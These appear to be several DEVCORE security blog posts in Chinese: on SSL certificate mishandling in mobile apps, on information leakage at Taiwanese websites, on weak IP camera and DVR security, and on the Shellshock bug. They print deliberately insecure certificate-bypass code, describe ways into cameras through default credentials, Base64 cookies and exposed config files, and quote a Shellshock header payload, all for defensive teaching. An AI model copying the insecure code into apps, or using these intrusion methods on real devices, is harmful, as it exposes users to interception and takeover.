DEVCORE 戴夫寇爾

SSL

在網路上傳輸敏感資訊時，通常會使用 HTTPS 協定，讓客戶端與伺服器端對資料進行 SSL 加密處理，以降低資料在傳輸過程中被監聽或中間人攻擊的風險。HTTPS 的重要性逐漸被重視，Google 除了預設開啟 HTTPS 之外，未來更會將 HTTPS 的網站搜尋排名加分。但為了確保傳輸的安全，過程中客戶端會核對伺服器的憑證鏈 (certificate chain) 是否有效，若判定為無效時會作出警告。(詳見Wikipedia)

Desktop 警告圖而在手機應用程式上 HTTPS 同樣重要，例如網路銀行、線上購物等。系統同樣會做憑證核對，但對被判定為無效的憑證就需要開發者作出額外的處理了。許多手機應用程式開發商在這個部分並沒有妥善處理好，以下我們就幾個常見的成因做基本的探討。

會被系統判定為無效的常見成因？

在探討該如何處理這個問題之前，這裡先列出一些有可能被系統判定成無效憑證的成因。

1. 系統支援問題 ¹

在 Android 2.2 及之前的版本，對 SSL 的支援上存在著一些問題，像是 SNI和 Multiple Chain。而 Android 上不接受缺少中繼 CA 憑證的憑證鏈，例如：https://egov.uscis.gov/

2. 相關憑證未被預載到系統中

以 GCA 簽發的 SSL 憑證為例，在 Windows 上被判定為有效，但在 iOS 系統上卻因為 CA 不在系統的預載清單中而被判定為無效。

Windows iPhone

3. 使用自行簽發的憑證

這種情況常出現在應用程式開發階段的內部測試環境中，由於是內部測試環境一般都不會花錢去申請憑證。

4. 連線被中間人(MITM)攻擊

當連線被 MITM 攻擊時，使用者原本的連線目的地會被導到攻擊者的設備上，此時伺服器憑證也會被取代成攻擊者自行簽發的憑證，造成原本正常的連線出現異常。

開發者該如何處理？

理想情況下，客戶端的支援度充足，伺服器憑證鏈的來源及設定正確，只需使用系統原有的方式去檢查憑證即可達到安全效果。但若非得要相容低版本系統或是自行簽發憑證的時候，就得自行做額外的檢查。

在處理方式上，普遍是使用憑證綁定 (certificate pinning) 的方式，把需要比對的憑證預先存放在應用程式裡，待要進行 SSL Handshake 的時候再與伺服器的憑證做比對。

可是在實務上，大多開發人員採用消極的方法，把錯誤警告略過讓連線繼續進行，使得本來使用 SSL 加密連線帶來的安全性形同虛設。據 2012 年 Why Eve and Mallory Love Android: An Analysis of SSL (In)Security on Android這篇論文指出，在 Google Play 上 13500 個免費熱門應用程式當中，共有 1074 個 (8%) 應用程式因錯誤的 SSL 處理而導致使用者陷入 MITM 攻擊的風險中。

下面我們整理了一些在手機應用開發上，常見的 SSL 處理錯誤，以及其對應適當的處理方法。

Android 錯誤處理情況1

1@Override2publicvoidonReceivedSslError(WebViewview,SslErrorHandlerhandler,SslErrorerror){3handler.proceed();4}

當透過 WebView 元件訪問 HTTPS 網站發生 SSL 錯誤時，會觸發 onReceivedSslError 這個函數。根據官方文件指出，可藉由執行 handler.proceed() 或是 handler.cancel() 來決定是否讓連線繼續進行。在不覆寫這函數的情況下預設會執行 handler.cancel()。而上面的做法卻讓異常的連線繼續進行了。

較為恰當的做法是使用 handler.cancel() 讓連線終止，或是限制在開發階段才執行 handler.proceed()。像 Apache Coradova和 Facebook Android SDK皆有對這部分做控管。

Android 錯誤處理情況2

 1TrustManager[]trustAllManager=newTrustManager[]{newX509TrustManager(){ 2@Override 3publicvoidcheckClientTrusted(X509Certificate[]chain,StringauthType){ 4} 5 6@Override 7publicvoidcheckServerTrusted(X509Certificate[]chain,StringauthType){ 8} 910@Override11publicX509Certificate[]getAcceptedIssuers(){12returnnull;13}14}};1516SSLContextsslContext=SSLContext.getInstance("TLS");17sslContext.init(null,trustAllManager,null);

本用來檢查伺服器憑證的 checkServerTrusted 被留空，導致警告被略過。Google 建議不要自行實作 TrustManager，而是把憑證放到 KeyStore，再把 KeyStore 放到 TrustManagerFactory，最後從 TrustManagerFactory 產出相關的 TrustManager，開發文件中有提供處理的範例。OWASP 的 WIKI 上也有提供自行實作 TrustManager 做 certificate pinning 的範例。²

下面節錄 Android 官方文件上的範例：

 1KeyStorekeyStore=...; 2Stringalgorithm=TrustManagerFactory.getDefaultAlgorithm(); 3TrustManagerFactorytmf=TrustManagerFactory.getInstance(algorithm); 4tmf.init(keyStore); 5 6SSLContextcontext=SSLContext.getInstance("TLS"); 7context.init(null,tmf.getTrustManagers(),null); 8 9URLurl=newURL("https://www.example.com/");10HttpsURLConnectionurlConnection=(HttpsURLConnection)url.openConnection();11urlConnection.setSSLSocketFactory(context.getSocketFactory());12InputStreamin=urlConnection.getInputStream();

Android 錯誤處理情況3

1URLurl=newURL("https://www.example.com/");2HttpsURLConnectionconn=(HttpsURLConnection)url.openConnection();3conn.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

或是

1HostnameVerifierallHostVerifier=newHostnameVerifier(){2@Override3publicbooleanverify(Stringhostname,SSLSessionsession){4returntrue;5}6};

上述寫法略過了憑證中的 hostname 檢查，導致即使連線端與憑證中指定的 hostname 不一致也能通過。較為恰當的做法是不特別設定，讓他使用預設的 DefaultHostnameVerifier，或是採用更為嚴謹的 StrictHostnameVerifier。

iOS 錯誤處理情況1

1@implementationNSURLRequest(IgnoreSSL)2+(BOOL)allowsAnyHTTPSCertificateForHost:(NSString*)host3{4returnYES;5}6@end

此情況使用到 Framework 中的 Private API，雖然這種寫法會因為不能通過 Apple 的審查而不會出現在 AppStore 上(使用回避技巧不在這討論範圍內)，但仍有機會在無需經過 Apple 審查的 Enterprise App 中使用。較為適當的做法是用 “#if DEBUG”，”#endif” 包起來以確保該段程式在編譯時只能對開發中的 debug 版上有作用。

iOS 錯誤處理情況2

 1-(BOOL)connection:(NSURLConnection*)connectioncanAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace*)protectionSpace{ 2return[protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]; 3} 4 5-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge*)challenge{ 6if([challenge.protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]) 7[challenge.senderuseCredential:[NSURLCredentialcredentialForTrust:challenge.protectionSpace.serverTrust]forAuthenticationChallenge:challenge]; 8 9[challenge.sendercontinueWithoutCredentialForAuthenticationChallenge:challenge];10}

上面的做法會讓使用 NSURLConnection 的連線略過憑證檢查，容許任意憑證通過。下面節錄 OWASP WIKI 上的範例：

 1-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge: 2(NSURLAuthenticationChallenge*)challenge 3{ 4if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]) 5{ 6do 7{ 8SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust]; 9if(nil==serverTrust)10break;/* failed */1112OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);13if(!(errSecSuccess==status))14break;/* failed */1516SecCertificateRefserverCertificate=SecTrustGetCertificateAtIndex(serverTrust,0);17if(nil==serverCertificate)18break;/* failed */1920CFDataRefserverCertificateData=SecCertificateCopyData(serverCertificate);21[(id)serverCertificateDataautorelease];22if(nil==serverCertificateData)23break;/* failed */2425constUInt8*constdata=CFDataGetBytePtr(serverCertificateData);26constCFIndexsize=CFDataGetLength(serverCertificateData);27NSData*cert1=[NSDatadataWithBytes:datalength:(NSUInteger)size];2829NSString*file=[[NSBundlemainBundle]pathForResource:@"random-org"ofType:@"der"];30NSData*cert2=[NSDatadataWithContentsOfFile:file];3132if(nil==cert1||nil==cert2)33break;/* failed */3435constBOOLequal=[cert1isEqualToData:cert2];36if(!equal)37break;/* failed */3839// The only good exit point40return[[challengesender]useCredential:[NSURLCredentialcredentialForTrust:serverTrust]41forAuthenticationChallenge:challenge];42}while(0);43}4445// Bad dog46return[[challengesender]cancelAuthenticationChallenge:challenge];47}

處理方式與前面的 Android 情況2類同，做了 certificate pinning。

iOS 錯誤處理情況3

 1-(void)URLSession:(NSURLSession*)session 2didReceiveChallenge:(NSURLAuthenticationChallenge*)challenge 3completionHandler:(void(^)(NSURLSessionAuthChallengeDispositiondisposition, 4NSURLCredential*credential))completionHandler 5{ 6NSURLProtectionSpace*protectionSpace=challenge.protectionSpace; 7if([protectionSpace.authenticationMethodisEqualToString:NSURLAuthenticationMethodServerTrust]){ 8SecTrustRefserverTrust=protectionSpace.serverTrust; 9completionHandler(NSURLSessionAuthChallengeUseCredential,[NSURLCredentialcredentialForTrust:serverTrust]);10}else{11completionHandler(NSURLSessionAuthChallengePerformDefaultHandling,nil);12}13}

與前面 NSURLConnection 的情況類同，只是這裡使用到的是 iOS7 新增的 NSURLSession 元件。對應的處理方式如下：

 1-(void)URLSession:(NSURLSession*)session 2didReceiveChallenge:(NSURLAuthenticationChallenge*)challenge 3completionHandler:(void(^)(NSURLSessionAuthChallengeDispositiondisposition, 4NSURLCredential*credential))completionHandler 5{ 6if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]){ 7SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust]; 8if(serverTrust!=NULL){ 9OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);10if(!(errSecSuccess==status)){11completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge,nil);12return;13}1415NSData*localCertData=[NSDatadataWithContentsOfFile:[[NSBundlemainBundle]16pathForResource:@"random-org"17ofType:@"der"]];1819SecCertificateRefremoteServerCert=SecTrustGetCertificateAtIndex(serverTrust,0);20CFDataRefremoteCertData=SecCertificateCopyData(remoteServerCert);21BOOLisMatch=[localCertDataisEqualToData:(__bridgeNSData*)remoteCertData];22CFRelease(remoteCertData);2324if(isMatch){25completionHandler(NSURLSessionAuthChallengeUseCredential,[NSURLCredentialcredentialForTrust:serverTrust]);26}else{27completionHandler(NSURLSessionAuthChallengeCancelAuthenticationChallenge,nil);28}29}30}else{31completionHandler(NSURLSessionAuthChallengePerformDefaultHandling,nil);32}33}

對 WebView 的一些補充

在對 WebView 做處理上，除了對 SSL 錯誤直接略過外，目前無論是在 Android 還是 iOS 上，SDK API 都尚未直接提供方法讓開發者能在 SSL Handshake 的途中作 Server Certificate Pinning。其中一個替代方法是，利用其他能夠作 Pinning 的元件將資料下載回來，接著把資料傳到 WebView 進行讀取，避開原本用 WebView 直接設定連線網址。蘋果公司有提供這種處理的範例。

結語

本來為了提高安全性而使用的 SSL 加密連線，卻由於程式處理不當讓原來的保護形同虛設。觀念不足與為節省時間而沒做好處理相信是主要原因。網路上大量的文章在引指開發者略過錯誤警告的時候，卻沒有提醒他們這樣做帶來的影響，也助長了不當處理的發生。

除了 SSL 處理問題外，手機應用程式開發還有許多要注意的安全問題，像是 OWASP 列出的 Top 10 Mobile Risks、由日本智慧型手機安全協會發佈 Android Application Secure Design/Secure Coding Guidebook裡面所建議的。開發商有責任做好安全把關以保障雙方權益。

參考

Google 基於效能及有效性的考量，在 Android 系統上預設停用憑證撤銷檢查
 ↩
OWASP 的 Android 範例中，內含的 PUB_KEY 是錯誤的 (最後更改日期 2014/08/14) ↩

前言

被遺忘的資訊洩漏 / Information Leakage in Taiwan

在今年駭客年會企業場，我們分享了一場『被遺忘的資訊洩漏』。資訊洩漏是十幾年前就被一提再提的議題，在資訊安全領域中也是最最最基本該注意的事情，然而至今很多網站都還是忽略它，甚至連一些熱門網站都仍有資訊洩漏問題。議程中我們舉了大量的例子證明資訊洩漏其實可以很嚴重，希望能幫大家複習一下，如果網站沒有注意這些，會造成什麼樣的後果。議程投影片如下所示，就讓我們來總結一下吧！

DEVCORE 常利用的資訊洩漏

首先我們從過往滲透測試經驗中挑選了幾個常見的資訊洩漏問題，分別如下：

管理介面洩漏 (p8-p19)
目錄(Index of)洩漏 (p20-p28)
錯誤訊息洩漏 (p29-p35)
暫存、測試資訊 (p36-p46)
版本控管 (p47-p55)
DNS 資訊洩漏 (p56-p63)

以上種種不同洩漏方式，可能會洩漏出系統環境資訊、程式碼內容、含有帳號密碼的設定檔等。透過這些資訊，駭客就能組織出一個有效的攻擊行動。我們甚至在過往的經驗中，只透過目標的資訊洩漏，就直接取得資料庫操作權限(詳見投影片 p65-p71)。

為了解目前一些熱門網站是否重視這些最基本的保護，我們實際對 alexa 台灣前 525 名的網站進行資訊洩漏的調查。

phpmyadmin 頁面洩漏狀況 phpinfo 頁面洩漏狀況

在管理介面和測試頁面洩漏的項目，我們用很保守的方式測試根目錄下是否存有 phpmyadmin 和 phpinfo 頁面，結果分別有 7% 和 9% 的網站有這樣的問題。這樣的結果非常令人訝異，畢竟受測網站都是知名且有技術力的網站，而且並非所有網站都使用 php 開發，再加上我們只是測試預設的命名，實際洩漏的情況會更多！

版本控制洩漏狀況

另一個值得一提的是版本控管洩漏問題，我們同樣保守的只針對版本控管軟體中 GIT 和 SVN 兩項進行調查。結果竟然有 10% 的網站有這樣的問題。這個現象非常嚴重！這個現象非常嚴重！這個現象非常嚴重！這個洩漏有機會能還原整個服務的原始碼，被攻擊成功的機率相當高！台灣熱門的網站裡，十個裡面就有一個存有這樣的問題，非常危險，煩請看到這篇文章的朋友能去注意貴公司的網站是否存在這樣的問題。

大數據資料蒐集

在這場議程中，我們還提到了另一個層次的資訊洩漏議題：當全世界主機的服務及版本資訊全部都被收集起來，會發生什麼樣的事情？

駭客擁有這樣的資料，就能夠在非常短暫的時間內篩選出有問題的主機，進行大量的入侵。我們利用類似的技術針對台灣主機快速的進行掃描，就發現了台灣有 61414 台主機可以被利用來做 DNS Amplification DDoS 攻擊、1003 台主機可以被利用來做 NTP Amplification DDoS 攻擊。也就是說，駭客可以在短時間內組織一支六萬多人的台灣大軍，可以針對他想要攻擊的目標進行攻擊。

OpenSSL Heartbleed 尚未修復的狀況

利用相同的技術，我們也順便檢驗了前陣子非常熱門的 OpenSSL Heartbleed問題。OpenSSL Heartbleed 被稱之為『近十年網路最嚴重的安全漏洞』，其嚴重程度可以想見，然而根據我們的觀察，台灣至今仍有 1480 台 HTTP 伺服器尚未修復，而台灣前 525 大熱門網站中，也有 21 個(4%)網站未修復。足見台灣網站對於資安的意識仍然不夠。

對於這樣海量收集資料衍生的資安議題，我們認為最大的受害者，是物聯網的使用者！就我們的觀察，物聯網的設備通常安全防護不佳，容易遭受到駭客攻擊，前陣子 HP 也出了一份報告指出，物聯網的設備有七成存在弱點，而且每台設備平均有 25 個弱點。除此之外，物聯網的設備不易更新，少有人會定期更新，更導致物聯網設備可以被大範圍的攻擊，進而滲透家用網路，危害使用者居家隱私。這是個未來需要持續關注的重要議題。

仍暴露在 SynoLocker 風險狀況統計

最後，我們用最近 SynoLocker 的案例為大數據資料蒐集作結，SynoLocker 是一款針對 Synology 的勒索軟體，去年底 Synology 官方已經推出新版修正問題，本月 SynoLocker 擴散至全世界，新聞一再強調需要更新 NAS，但我們針對台灣 1812 台對外開放的 Synology NAS 做統計，至今仍發現有 64％的使用者沒有更新，也就是這些 NAS 仍暴露在 SynoLocker 的風險中。這件事情又再次證明駭客有能力在短時間利用大數據資料找到攻擊目標，也順帶說明了台灣資安意識普遍不足的問題。

結論

在這次議題我們關注了很古老的資訊洩漏問題，並且發現目前台灣一些熱門網站仍然存在這樣的問題。資訊洩漏也許不是一件很嚴重的事情，但往往能激起駭客高漲的情緒，駭客會認為一個網站連最最最基本的資料保護都沒有做到，一定會存在其他資安問題，進而進行更大量的攻擊行為。而事實上，我們也從實例證明了其實資訊洩漏可以很嚴重，希望網站提供者能夠注重這個簡單可解決且重要的議題。

我們也提到了駭客透過平常大量的資料收集，在需要的時候能快速找到目標並且大範圍攻擊。這其中又以物聯網的用戶影響最多。面對這樣的議題，我們建議除了適當的隱藏(偽造)主機版本資訊以避免出現 0-Day 時成為首要攻擊目標。我們也提倡要對自己的服務做普查，了解自己到底對外開啟了什麼服務，以及關注自己使用的第三方套件是否有安全更新。

希望明年不需要再有一篇『依舊沒改變的資訊洩漏』！大家快點注意這件簡單的事情吧！

網路攝影機的普及率在近幾年來持續攀升，除了老人與幼兒居家照護、企業室內監控等需求迅速增加之外，結合手機應用程式讓人可隨時隨地觀看影像的方便性也成為普及的原因。當大家還以為黑帽駭客的目標仍然是網站、個人電腦時，已經有許多攻擊者悄悄地將目標轉向了各種物連網設備，例如 NAS、Wireless AP、Printer 等產品，而擁有眾多用戶的網路攝影機理所當然地也是目標之一。身為安控產品，卻造成一項資安的隱憂，是不是有點諷刺呢？

恰好最近幾天忽然看到有新聞報導「家用監視器遭駭客入侵隱私全被看光光」這樣子的案例，而在去年也有類似的報導「數十萬支監控攝影機潛藏被駭漏洞電影情景恐真實上演」，讓我們不禁想對這個事件做個深入的調查。就讓我們來看看網路攝影機以及相關產品究竟有哪些風險吧！

CVE

我們先來看看幾個大廠在 2013 年到 2014 年之間有哪些已經被公開揭露的 CVE 弱點：

AVTECH: 3, CVE-2013-4980, CVE-2013-4981, CVE-2013-4982
AXIS: 2, CVE-2013-3543, CVE-2011-5261
Hikvision: 3, CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
SONY: 1, CVE-2013-3539
Vivotek: 6, CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598, CVE-2013-4985

讀者們若進一步去看各個 CVE 的詳細資料，會發現有許多弱點都是屬於可執行任意指令的嚴重漏洞，其影響程度非常高，已不只是關於攝影內容是否被竊取，更有可能被利用此類設備進一步攻擊其他內、外網機器。

台灣現況

雖然上面提到許多知名廠牌的嚴重漏洞，但是每個國家使用的安控設備不見得都是上述幾個牌子，而身為資安業者，隨時關注自己國家的網路現況也是很合理的事情～在我們的大量觀測下，發現有許多 IP Camera、DVR (Digital Video Recoder)、NVR (Network Video Recoder)都存在資安議題，我們從其中提出幾個有趣的案例跟各位分享一下：

某國外 V 牌廠商（數量：320+）
一般的產品通常都會有預設帳號密碼，但這間廠商的產品似乎沒有預設帳號密碼，若使用者未設定帳號密碼，攻擊者只要直接點「OK」按鈕就可以登入系統，而這樣子的 DVR 在台灣有三百多台，也就是有三百多台 DVR 在網路上裸奔…
某國外 H 牌廠商（數量：1200+）
有些廠商為了方便維修或者其他理由，會在 NVR 上開啟了 Telnet 服務，雖然增加了被攻擊的機率，但是若密碼強度足夠且沒有外流，也不會隨便被打進去。而這間廠商非常有趣，除了 root 帳號之外還有一組 guest 帳號，並且 guest 的密碼非常簡單，加上當初建置系統時並未檢查機敏檔案的權限是否設定錯誤，導致攻擊者可先用 guest 帳號登入，再去 /etc/shadow 讀取 root 密碼加以破解，進一步取得設備所有權限。
某國外 D 牌廠商（數量：700+）
這個案例實在是令人哭笑不得，不知道是原廠還是台灣代理商非常好心地幫使用者建立了多組預設帳號，包含 admin、666666、888888 等等，而且密碼也設定得很簡單。但是通常要使用者記得改一組預設密碼已經非常困難，更何況是要使用者改三組密碼呢？這種情形導致攻擊者可以輕而易舉地拿著弱密碼到處猜，大大提高了用戶的受害機率。而更有趣的是，不知道是基於歷史包袱或者其他原因，此設備開了特殊的 port，直接送出含有特定內容的封包到這個 port 就可以執行相對應的指令，例如可以取得帳號密碼、使用者 email 等等，而在這個過程中完全沒有任何認證機制！等於又有七百多台 NVR 在網路上裸奔…
某國內 A 牌廠商（數量：1000+）
這間廠商也是使用常見的預設帳號密碼，但它可怕的地方還不止於此。該系統將帳號密碼轉為 Base64 編碼後直接當作 cookie 內容，因此若預設帳號密碼分別是 abc 與 123，將 abc:123 用 Base64 編碼過後可得到 YWJjOjEyMw==，接著將 Cookie: SSID=YWJjOjEyMw== 這串內容加到 request 的 HTTP header 中，就可以到處測試該設備是否使用預設帳號密碼，甚至還可以進一步下載備份檔，察看使用者有無填寫 email、網路帳號密碼等資料。
某國內 A 牌廠商（數量：10+）
這個案例雖然數量非常少，但是卻非常嚴重。為什麼呢？因為廠商沒有對機敏資料做嚴格的權限控管，只要攻擊者直接在網址列輸入 http://IP/sys.bin，就可以直接下載一個名為 sys.bin 的檔案，而此檔案是 tgz 格式，解壓縮後可以得到 system_server.conf，該檔案中含有帳號、密碼，因此即便使用者修改了預設帳號密碼，也會因為這個嚴重漏洞而輕易地被入侵。
XXXX科技（數量：230+）
這是一個非常經典的案例！一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面，再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司，理當為客戶的監控畫面做最周全的規劃、最謹慎的防護，但是結果呢？報告各位，完全沒有任何防護！只要連到 IP 位址就可以直接看到攝影機畫面，也是屬於裸奔一族…

從這幾個案例我們可以發現台灣目前至少有 3500 台左右的安控設備處於高風險狀態中，而由於我們無暇對每一款設備進行調查，因此這僅僅是一個概略的調查結果。同時這些設備都是在網路上可直接連線的，若再加上各個公家機關、辦公大樓、社區的內網安控設備，恐怕會有更驚人的發現。

問題起源

究竟為什麼會有這麼多安控設備被入侵呢？其實主要有兩個面向。第一個是由於許多廠商的防範觀念仍停留在舊時代，不了解駭客到底都怎麼攻擊，因此也不了解確切的防治方法。舉例來說，廠商在網路安控系統的 Web 輸入介面都會設定許多阻擋規則，以防範入侵者輸入惡意攻擊指令，但是這些防治手段都僅僅做在 client 端（用 JavaScript 來防護），入侵者只要利用 proxy 工具或自行寫程式發送客製化 request 就可以繞過那些驗證，若廠商沒有在 server 端再次進行驗證輸入資料是否異常，就有很高的機會被入侵成功。

另一方面則是入侵者的攻擊手法千變萬化，難以保證不會有新的 0-Day 弱點出現。例如今年一月份大量爆發的 NTP 弱點 CVE-2013-5211 就存在於上述六個案例其中之一，我想廠商應該不會有意願針對舊產品修復此類漏洞，也就是未來隨時有幾百台的攝影機可被惡意人士用來執行 DDoS 攻擊。另外今年四月份的 OpenSSL Heartbleed 弱點更是一個具有代表性的重要案例，我想這應該是許多安控設備廠商都會使用的程式。當廠商將此類程式納入網路安控設備中，於弱點被揭露時若無法及時有效修補，或是修補的成本太高導致用戶不願意修補、沒有能力修補，就有可能釀成重大災情，不但造成用戶損失，也嚴重影響商譽。

廠商該如何因應？

針對此類資安問題，大型硬體廠商應該落實以下幾個動作：

改善資安問題更新流程：將產品的資安更新改變成主動通知使用者，而非需要使用者主動到官網看才知道更新，以縮短使用者更新的平均週期，確保使用者的軟體是最新無風險版本。
成立專門資安小組：請專人負責檢驗產品的資安品質與修正資安弱點，以便因應臨時爆發的重大弱點，維持產品的資安品質。
黑箱滲透測試：於產品出廠前執行黑箱滲透測試，讓滲透測試專家從黑帽駭客的角度來檢查產品有無漏洞。
白箱原始碼檢測：定期執行原始碼檢測，從產品的根本處著手改善，降低產品上市後才被發現弱點的機率。
資安教育訓練：請有實際攻防經驗的資安專家給予開發人員正確的資安觀念，了解最新的攻擊手法與有效防禦之道。
定期檢閱產品所使用的第三方軟體套件是否有弱點，例如 OpenSSL，以避免把有問題的版本納入產品，造成產品間接產生弱點，因而遭到入侵。
定時於網路上收集產品的相關弱點資料，例如 Secunia、SecurityFocus、Packet Storm等網站都是很好的資訊來源。

一般使用者、企業該如何亡羊補牢？

目前的網路安控系統使用者仍未有足夠的資安意識，主要現象有以下幾點：

使用弱密碼
未進行適當的權限劃分與管理
容易開啓攻擊者寄送的惡意連結，導致被 XSS、CSRF 等手法攻擊
未限制連入 IP 位址，導致安控系統可從外網任意存取

然而，無論是安控系統或其他任何連網設備，未來都有可能成為潛在的攻擊目標，而且在廠商提供更新檔之前其實也很難確實地自保，因此了解資安知識與常見的攻擊手法是有其必要的。基本的防範之道如下：

使用強密碼，包含大小寫英文、數字、特殊符號，並且定期更換密碼
勿在系統建立太多不必要的使用者帳號、將多餘的帳號移除，以降低帳號被盜的機率。若需要建立多組帳號，請仔細給予適當的權限
勿隨意開啟可疑信件附帶的連結或檔案，以避免被攻擊者以 XSS、CSRF 等手法攻擊
限制可存取資訊系統的 IP 位址，避免資訊系統成為公開的攻擊目標
定期檢查 log，確認有無異常登入、異常操作甚至是異常帳號等資訊

結論

在物連網的時代中，各種可進行無線通訊的設備被攻擊的事件屢見不鮮，例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器，2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器，甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來，這些資安問題只會更多，身為民眾、企業、廠商的你，準備好面對萬物皆可駭的物連網時代了嗎？

[ Ref: OMG ΉΆXOR(twitter)]

自 9/24 以來，不少資訊圈朋友日以繼夜的忙碌，這都多虧了藏在 Bash 裡 22 年的安全漏洞－Shellshock (Bash CVE-2014-6271)。對於惡意攻擊者而言，這是今年來第二波淘金潮，相較於上次 Heartbleed駭客們的刮刮樂遊戲需要拼運氣，這次的 Shellshock 只要一發現利用點，就能馬上擁有基本的系統操作權限，也難怪 NVD給予 Shellshock 最嚴重的 10.0 分影響等級。

Shellshock 受影響的 Bash 版本如下：

Bash 4.3 Patch 25 （含）以前版本
Bash 4.2 Patch 48 （含）以前版本
Bash 4.1 Patch 12 （含）以前版本
Bash 4.0 Patch 39 （含）以前版本
Bash 3.2 Patch 52 （含）以前版本
Bash 3.1 Patch 18 （含）以前版本
Bash 3.0 Patch 17 （含）以前版本
Bash 2.0.5b Patch 8 （含）以前版本
Bash 1.14.7 （含）以前版本

這次的問題出在 bash 對環境變數的解析上。若有辦法在環境變數中塞入惡意的程式碼，並且順利將這些環境變數傳入 bash，bash 就會因解析錯誤而執行惡意指令、和讓攻擊者能直接對系統進行基本的操作。原始碼及更進階的原理請參考這篇。Shellshock 之所以嚴重，一來是因為攻擊語法相當簡單，只需要一行指令，就可以直接對系統進行操作；二來是因為 bash 使用範圍極廣，多款作業系統預設 shell 就是 bash。常見的作業系統與其預設 shell 整理如下：

作業系統	預設 shell
CentOS	bash
Fedora	bash
RHEL	bash
Mac OS X	bash
Android	早期是 ash, 3.0 開始是 mksh
Debian	sh (Lenny, 5.0) dash (Squeeze, 6.0)
embedded device	大部分使用 busybox (ash)
FreeBSD	tcsh
Ubuntu	dash
iOS	Jailbreak 後是 bash

我們看到近半數知名的 un*x 系統預設使用 bash，可以推想這次影響範圍有多廣，尤其是許多服務都架構在這之上，若遭受到攻擊，損失的可能是企業的機密資料或客戶資料。至於沒有預設使用 bash 的作業系統，也並不意味著完全沒有風險，例如 Ubuntu 在 DHCP 客戶端使用到 bash ，就仍然會有風險，下面文章中也會提到這樣的狀況。另外，早期新聞中常出現物聯網設備會受此漏洞影響的報導，經過我們實測，物聯網設備為求精簡，大多使用 busybox，而其 shell 為 ash，故大多數設備在這次 Shellshock 威脅中影響不大，不過儘管物聯網設備逃過了這次 Shellshock 事件，有許多設備仍然是赤裸裸的。

常見的 Shellshock 利用方式

Shellshock 漏洞被公布後，惡意攻擊者無不想要透過這個漏洞對伺服器進行遠端攻擊，一些遠端攻擊概念也陸續被證實。最早的公開大量掃描是由 Errata Security 在其部落格公布技術細節，他們在 HTTP 請求表頭中的 Cookie、Host、Referer 中放置惡意語法 () { :; }; ping -c 3 209.126.230.74，並且利用 masscan 對全世界 HTTP 伺服器 (port 80) 進行掃描。因為一般伺服器會將 HTTP 表頭中之內容放入環境變數中，若伺服器首頁入口程式本身是 bash shell script 或者其子程序有呼叫到 bash，就會受到惡意語法的影響，執行 ping -c 3 209.126.230.74指令。

攻擊使用 CGI 的網頁伺服器

利用同樣的道理，惡意攻擊者開始在 HTTP 表頭中置入惡意的語法，大量去掃描網路上的 CGI 網頁，因為這種網頁常呼叫系統指令，所以成功機率都頗高，攻擊成功的結果如下圖，從這張圖也可了解這個弱點可以簡單地透過一個參數就能直接讓系統執行任意指令。

詳細的實作流程請參考下面影片：

我們團隊也在 CGI 環境下執行幾種程式語言進行測試，發現用到以下 function 時會讀取到環境變數（date 只是範例，可代換為其他系統指令），因此若伺服器在 CGI 環境下使用這些 function，會為伺服器本身帶來嚴重風險。

Language	Vulnerable Function
Perl	exec(“date > /dev/null”); open(SHELLSHOCK, “\| date > /dev/null”); system(“date > /dev/null;”); print `date > /dev/null`
PHP	exec(‘date’); system(‘date’); mb_send_mail();
Python	os.system(‘date’) subprocess.call(‘date’, shell=True) subprocess.Popen(‘date’, shell=True)
Ruby	`date` exec ‘date’ system ‘date’

建置惡意 DHCP 伺服器感染連線使用者

同時，有另一批人發現某些作業系統在進行 DHCP 連線時，會將 DHCP 伺服器傳入的一些資訊塞入到環境變數中。於是，若建置一個惡意 DHCP 伺服器，對其連線的使用者就有很高的機會遭受攻擊。我們實際做了實驗攻擊一般使用者，在使用者建立連線的當下放置後門，實驗過程如下影片：

我們也分別測試了在不同作業系統下是否會受到惡意 DHCP 伺服器影響，基本上，常見的 un*x 系統開機後自動連線基本上都會中招。

OS	Version	Vulnerable
CentOS	7.0	YES
Debian	7.6	YES
Fedora	20	YES
Ubuntu	10.04.1 LTS	YES
Ubuntu	14.04.1 LTS	YES
Android	4.4.4	NO
Apple iOS	7.0.4	NO
FreeBSD	10.0	NO
Gentoo	20140925	NO (已修復)
Linux Mint	17 “Qiana” Cinnamon	NO ¹
Linux Mint	Debian 201403 Cinnamon	NO ¹
Mac OS X	10.9.5	NO
openSUSE	13.2	NO ²
Synology	5.0-4493 update 7	NO (已修復)

繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 也常被利用來繞過伺服器的 shell 限制，最常見的就是 Git 和 Subversion 伺服器：通常這些伺服器允許透過 SSH 連線，但登入後都對應著受限制的 shell。透過此漏洞，可以繞過 shell 的限制，執行指令如下圖。（註：OS 中 git user 預設 shell 要為 bash 才會受到影響）

一般我們要實作特定使用者登入 ssh 只能做特定的事情，常常會在 sshd_config 設定 ForceCommand，或是在 authorized_keys 設定 command= 如下：

command="[path]/gl-auth-command sitaram",[more options] ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA18S2t...

